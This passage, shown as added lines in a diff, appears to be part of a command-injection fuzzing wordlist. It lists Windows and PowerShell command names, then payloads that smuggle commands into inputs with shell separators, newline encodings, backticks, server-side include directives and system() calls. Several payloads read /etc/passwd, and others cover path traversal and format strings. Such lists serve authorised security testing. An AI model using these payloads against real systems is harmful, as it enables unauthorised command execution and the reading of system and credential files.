|
|
725
|
+
getmac
|
|
726
|
+
gpresult
|
|
727
|
+
gpupdate
|
|
728
|
+
graftabl
|
|
729
|
+
help
|
|
730
|
+
helpctr
|
|
731
|
+
ipconfig
|
|
732
|
+
ipseccmd
|
|
733
|
+
ipxroute
|
|
734
|
+
irftp
|
|
735
|
+
label
|
|
736
|
+
lodctr
|
|
737
|
+
logman
|
|
738
|
+
macfile
|
|
739
|
+
mmc
|
|
740
|
+
mode
|
|
741
|
+
mountvol
|
|
742
|
+
move
|
|
743
|
+
msiexec
|
|
744
|
+
msinfo32
|
|
745
|
+
nbtstat
|
|
746
|
+
netsh
|
|
747
|
+
ntbackup
|
|
748
|
+
ntcmdprompt
|
|
749
|
+
ntsd
|
|
750
|
+
openfiles
|
|
751
|
+
pagefileconfig
|
|
752
|
+
path
|
|
753
|
+
pathping
|
|
754
|
+
pause
|
|
755
|
+
pbadmin
|
|
756
|
+
pentnt
|
|
757
|
+
perfmon
|
|
758
|
+
print
|
|
759
|
+
prncnfg
|
|
760
|
+
prndrvr
|
|
761
|
+
prnjobs
|
|
762
|
+
prnmngr
|
|
763
|
+
prnport
|
|
764
|
+
prnqctl
|
|
765
|
+
prompt
|
|
766
|
+
query
|
|
767
|
+
rasdial
|
|
768
|
+
recover
|
|
769
|
+
reg
|
|
770
|
+
regsvr32
|
|
771
|
+
relog
|
|
772
|
+
rem
|
|
773
|
+
replace
|
|
774
|
+
rsm
|
|
775
|
+
runas
|
|
776
|
+
sc
|
|
777
|
+
schtasks
|
|
778
|
+
secedit
|
|
779
|
+
setlocal
|
|
780
|
+
start
|
|
781
|
+
subst
|
|
782
|
+
systeminfo
|
|
783
|
+
sfc
|
|
784
|
+
taskkill
|
|
785
|
+
tasklist
|
|
786
|
+
tcmsetup
|
|
787
|
+
title
|
|
788
|
+
tracerpt
|
|
789
|
+
tracert
|
|
790
|
+
tree
|
|
791
|
+
typeperf
|
|
792
|
+
unlodctr
|
|
793
|
+
ver
|
|
794
|
+
verify
|
|
795
|
+
vol
|
|
796
|
+
vssadmin
|
|
797
|
+
w32tm
|
|
798
|
+
winnt
|
|
799
|
+
winnt32
|
|
800
|
+
wmic
|
|
801
|
+
xcopy
|
|
802
|
+
get-acl
|
|
803
|
+
set-acl
|
|
804
|
+
get-alias
|
|
805
|
+
import-alias
|
|
806
|
+
new-alias
|
|
807
|
+
set-alias
|
|
808
|
+
get-authenticodesignature
|
|
809
|
+
set-authenticodesignature
|
|
810
|
+
set-location
|
|
811
|
+
get-childitem
|
|
812
|
+
get-command
|
|
813
|
+
measure-command
|
|
814
|
+
trace-command
|
|
815
|
+
add-content
|
|
816
|
+
get-content
|
|
817
|
+
set-content
|
|
818
|
+
clear-content
|
|
819
|
+
convertto-html
|
|
820
|
+
convertfrom-securestring
|
|
821
|
+
convertto-securestring
|
|
822
|
+
clear-host
|
|
823
|
+
clear-item
|
|
824
|
+
copy-item
|
|
825
|
+
get-credential
|
|
826
|
+
get-date
|
|
827
|
+
set-date
|
|
828
|
+
remove-item
|
|
829
|
+
do
|
|
830
|
+
get-psdrive
|
|
831
|
+
new-psdrive
|
|
832
|
+
remove-psdrive
|
|
833
|
+
get-eventlog
|
|
834
|
+
get-executionpolicy
|
|
835
|
+
set-executionpolicy
|
|
836
|
+
export-alias
|
|
837
|
+
export-clixml
|
|
838
|
+
export-console
|
|
839
|
+
export-csv
|
|
840
|
+
invoke-expression
|
|
841
|
+
foreach-object
|
|
842
|
+
foreach
|
|
843
|
+
format-custom
|
|
844
|
+
format-list
|
|
845
|
+
format-table
|
|
846
|
+
format-wide
|
|
847
|
+
get-item
|
|
848
|
+
get-help
|
|
849
|
+
add-history
|
|
850
|
+
get-history
|
|
851
|
+
invoke-history
|
|
852
|
+
get-host
|
|
853
|
+
read-host
|
|
854
|
+
write-host
|
|
855
|
+
import-clixml
|
|
856
|
+
import-csv
|
|
857
|
+
invoke-item
|
|
858
|
+
new-item
|
|
859
|
+
set-item
|
|
860
|
+
clear-itemproperty
|
|
861
|
+
copy-itemproperty
|
|
862
|
+
get-itemproperty
|
|
863
|
+
move-itemproperty
|
|
864
|
+
new-itemproperty
|
|
865
|
+
remove-itemproperty
|
|
866
|
+
rename-itemproperty
|
|
867
|
+
set-itemproperty
|
|
868
|
+
stop-process
|
|
869
|
+
get-location
|
|
870
|
+
pop-location
|
|
871
|
+
push-location
|
|
872
|
+
add-member
|
|
873
|
+
get-member
|
|
874
|
+
move-item
|
|
875
|
+
compare-object
|
|
876
|
+
group-object
|
|
877
|
+
measure-object
|
|
878
|
+
new-object
|
|
879
|
+
select-object
|
|
880
|
+
sort-object
|
|
881
|
+
where-object
|
|
882
|
+
out-default
|
|
883
|
+
out-file
|
|
884
|
+
out-host
|
|
885
|
+
out-null
|
|
886
|
+
out-printer
|
|
887
|
+
out-string
|
|
888
|
+
powershell
|
|
889
|
+
convert-path
|
|
890
|
+
join-path
|
|
891
|
+
resolve-path
|
|
892
|
+
split-path
|
|
893
|
+
test-path
|
|
894
|
+
get-pfxcertificate
|
|
895
|
+
get-process
|
|
896
|
+
get-psprovider
|
|
897
|
+
set-psdebug
|
|
898
|
+
add-pssnapin
|
|
899
|
+
get-pssnapin
|
|
900
|
+
remove-pssnapin
|
|
901
|
+
quest
|
|
902
|
+
rename-item
|
|
903
|
+
run/call
|
|
904
|
+
get-service
|
|
905
|
+
new-service
|
|
906
|
+
restart-service
|
|
907
|
+
resume-service
|
|
908
|
+
set-service
|
|
909
|
+
start-service
|
|
910
|
+
stop-service
|
|
911
|
+
suspend-service
|
|
912
|
+
start-sleep
|
|
913
|
+
switch
|
|
914
|
+
select-string
|
|
915
|
+
tee-object
|
|
916
|
+
new-timespan
|
|
917
|
+
get-tracesource
|
|
918
|
+
set-tracesource
|
|
919
|
+
start-transcript
|
|
920
|
+
stop-transcript
|
|
921
|
+
get-uiculture
|
|
922
|
+
get-unique
|
|
923
|
+
update-formatdata
|
|
924
|
+
update-typedata
|
|
925
|
+
clear-variable
|
|
926
|
+
get-variable
|
|
927
|
+
new-variable
|
|
928
|
+
remove-variable
|
|
929
|
+
set-variable
|
|
930
|
+
get-wmiobject
|
|
931
|
+
write-debug
|
|
932
|
+
write-error
|
|
933
|
+
write-output
|
|
934
|
+
write-progress
|
|
935
|
+
write-verbose
|
|
936
|
+
write-warning
|
|
937
|
+
+|+Dir+c:\
|
|
938
|
+
$+|+Dir+c:\
|
|
939
|
+
%26%26+|+dir c:\
|
|
940
|
+
$%26%26dir c:\
|
|
941
|
+
%0a+dir+c:\
|
|
942
|
+
+|+Dir+c:%255c
|
|
943
|
+
$+|+Dir+c:%255c
|
|
944
|
+
%26%26+|+dir c:%255c
|
|
945
|
+
$%26%26dir+c:%255c
|
|
946
|
+
%0a+dir+c:%255c
|
|
947
|
+
+|+Dir+c:%2f
|
|
948
|
+
$+|+Dir+c:%2f
|
|
949
|
+
%26%26+|+dir c:%2f
|
|
950
|
+
$%26%26dir+c:%2f
|
|
951
|
+
%0a+dir+c:%2f
|
|
952
|
+
+dir+c:\+|
|
|
953
|
+
+|+dir+c:\+|
|
|
954
|
+
+|+dir+c:%2f+|
|
|
955
|
+
dir+c:\
|
|
956
|
+
||+dir|c:\
|
|
957
|
+
<!--#exec cmd="/usr/bin/id"-->
|
|
958
|
+
<!--#exec cmd="id"-->
|
|
959
|
+
/index.html|id|
|
|
960
|
+
;id;
|
|
961
|
+
;id
|
|
962
|
+
;netstat -a;
|
|
963
|
+
|id
|
|
964
|
+
|/usr/bin/id
|
|
965
|
+
|id|
|
|
966
|
+
|/usr/bin/id|
|
|
967
|
+
||/usr/bin/id|
|
|
968
|
+
|id;
|
|
969
|
+
||/usr/bin/id;
|
|
970
|
+
;id|
|
|
971
|
+
;|/usr/bin/id|
|
|
972
|
+
\n/bin/ls -al\n
|
|
973
|
+
\n/usr/bin/id\n
|
|
974
|
+
\nid\n
|
|
975
|
+
\n/usr/bin/id;
|
|
976
|
+
\nid;
|
|
977
|
+
\n/usr/bin/id|
|
|
978
|
+
\nid|
|
|
979
|
+
;/usr/bin/id\n
|
|
980
|
+
;id\n
|
|
981
|
+
|usr/bin/id\n
|
|
982
|
+
|nid\n
|
|
983
|
+
`id`
|
|
984
|
+
`/usr/bin/id`
|
|
985
|
+
a);id
|
|
986
|
+
a;id
|
|
987
|
+
a);id;
|
|
988
|
+
a;id;
|
|
989
|
+
a);id|
|
|
990
|
+
a;id|
|
|
991
|
+
a)|id
|
|
992
|
+
a|id
|
|
993
|
+
a)|id;
|
|
994
|
+
|/bin/ls -al
|
|
995
|
+
a);/usr/bin/id
|
|
996
|
+
a;/usr/bin/id
|
|
997
|
+
a);/usr/bin/id;
|
|
998
|
+
a;/usr/bin/id;
|
|
999
|
+
a);/usr/bin/id|
|
|
1000
|
+
a;/usr/bin/id|
|
|
1001
|
+
a)|/usr/bin/id
|
|
1002
|
+
a|/usr/bin/id
|
|
1003
|
+
a)|/usr/bin/id;
|
|
1004
|
+
;system('cat%20/etc/passwd')
|
|
1005
|
+
;system('id')
|
|
1006
|
+
;system('/usr/bin/id')
|
|
1007
|
+
%0Acat%20/etc/passwd
|
|
1008
|
+
%0A/usr/bin/id
|
|
1009
|
+
%0Aid
|
|
1010
|
+
%0A/usr/bin/id%0A
|
|
1011
|
+
%0Aid%0A
|
|
1012
|
+
& ping -i 30 127.0.0.1 &
|
|
1013
|
+
& ping -n 30 127.0.0.1 &
|
|
1014
|
+
%0a ping -i 30 127.0.0.1 %0a
|
|
1015
|
+
`ping 127.0.0.1`
|
|
1016
|
+
| id
|
|
1017
|
+
& id
|
|
1018
|
+
; id
|
|
1019
|
+
%0a id %0a
|
|
1020
|
+
$;/usr/bin/id
|
|
1021
|
+
{cmd}
|
|
1022
|
+
;{cmd}
|
|
1023
|
+
;{cmd};
|
|
1024
|
+
^{cmd}
|
|
1025
|
+
|{cmd}
|
|
1026
|
+
<{cmd}
|
|
1027
|
+
<{cmd};
|
|
1028
|
+
<{cmd}\n
|
|
1029
|
+
<{cmd}%0D
|
|
1030
|
+
<{cmd}%0A
|
|
1031
|
+
&{cmd}
|
|
1032
|
+
&{cmd}&
|
|
1033
|
+
&&{cmd}
|
|
1034
|
+
&&{cmd}&&
|
|
1035
|
+
%0D{cmd}
|
|
1036
|
+
%0D{cmd}%0D
|
|
1037
|
+
%0A{cmd}
|
|
1038
|
+
%0A{cmd}%0A
|
|
1039
|
+
\n{cmd}
|
|
1040
|
+
\n{cmd}\n
|
|
1041
|
+
'{cmd}'
|
|
1042
|
+
`{cmd}`
|
|
1043
|
+
;{cmd}|
|
|
1044
|
+
;{cmd}/n
|
|
1045
|
+
|{cmd};
|
|
1046
|
+
a);{cmd}
|
|
1047
|
+
a;{cmd}
|
|
1048
|
+
a;{cmd};
|
|
1049
|
+
a);{cmd}|
|
|
1050
|
+
FAIL||{cmd}
|
|
1051
|
+
CMD=$'{cmd}';$CMD
|
|
1052
|
+
;CMD=$'{cmd}';$CMD
|
|
1053
|
+
^CMD=$'{cmd}';$CMD
|
|
1054
|
+
|CMD=$'{cmd}';$CMD
|
|
1055
|
+
&CMD=$'{cmd}';$CMD
|
|
1056
|
+
&&CMD=$'{cmd}';$CMD
|
|
1057
|
+
%0DCMD=$'{cmd}';$CMD
|
|
1058
|
+
FAIL||CMD=$'{cmd}';$CMD
|
|
1059
|
+
CMD=$\'{cmd}\';$CMD
|
|
1060
|
+
;CMD=$\'{cmd}\';$CMD
|
|
1061
|
+
^CMD=$\'{cmd}\';$CMD
|
|
1062
|
+
|CMD=$\'{cmd}\';$CMD
|
|
1063
|
+
&CMD=$\'{cmd}\';$CMD
|
|
1064
|
+
&&CMD=$\'{cmd}\';$CMD
|
|
1065
|
+
%0DCMD=$\'{cmd}\';$CMD
|
|
1066
|
+
FAIL||CMD=$\'{cmd}\';$CMD
|
|
1067
|
+
CMD=$"{cmd}";$CMD
|
|
1068
|
+
;CMD=$"{cmd}";$CMD
|
|
1069
|
+
^CMD=$"{cmd}";$CMD
|
|
1070
|
+
|CMD=$"{cmd}";$CMD
|
|
1071
|
+
&CMD=$"{cmd}";$CMD
|
|
1072
|
+
&&CMD=$"{cmd}";$CMD
|
|
1073
|
+
%0DCMD=$"{cmd}";$CMD
|
|
1074
|
+
FAIL||CMD=$"{cmd}";$CMD
|
|
1075
|
+
<!--#exec cmd="{cmd}"-->
|
|
1076
|
+
;system('{cmd}')
|
|
1077
|
+
;
|
|
1078
|
+
^
|
|
1079
|
+
&
|
|
1080
|
+
&&
|
|
1081
|
+
|
|
|
1082
|
+
||
|
|
1083
|
+
%0D
|
|
1084
|
+
%0A
|
|
1085
|
+
\n
|
|
1086
|
+
<
|
|
1087
|
+
>
|
|
1088
|
+
<<
|
|
1089
|
+
>>
|
|
1090
|
+
<>
|
|
1091
|
+
>|
|
|
1092
|
+
$
|
|
1093
|
+
&>
|
|
1094
|
+
&>>
|
|
1095
|
+
<<<
|
|
1096
|
+
>>>
|
|
1097
|
+
..%255c
|
|
1098
|
+
.%5c../..%5c
|
|
1099
|
+
/..%c0%9v../
|
|
1100
|
+
/..%c0%af../
|
|
1101
|
+
/..%255c..%255c
|
|
1102
|
+
uname -n -s
|
|
1103
|
+
cat /etc/passwd
|
|
1104
|
+
ls -la /tmp
|
|
1105
|
+
ls -la /home
|
|
1106
|
+
ping -i 30 127.0.0.1
|
|
1107
|
+
ping 127.0.0.1
|
|
1108
|
+
ping -n 30
|
|
1109
|
+
echo %USERNAME%
|
|
1110
|
+
$HOME
|
|
1111
|
+
$ENV{'HOME'}
|
|
1112
|
+
%d
|
|
1113
|
+
%s
|
|
1114
|
+
{0}
|
|
1115
|
+
%*.*s
|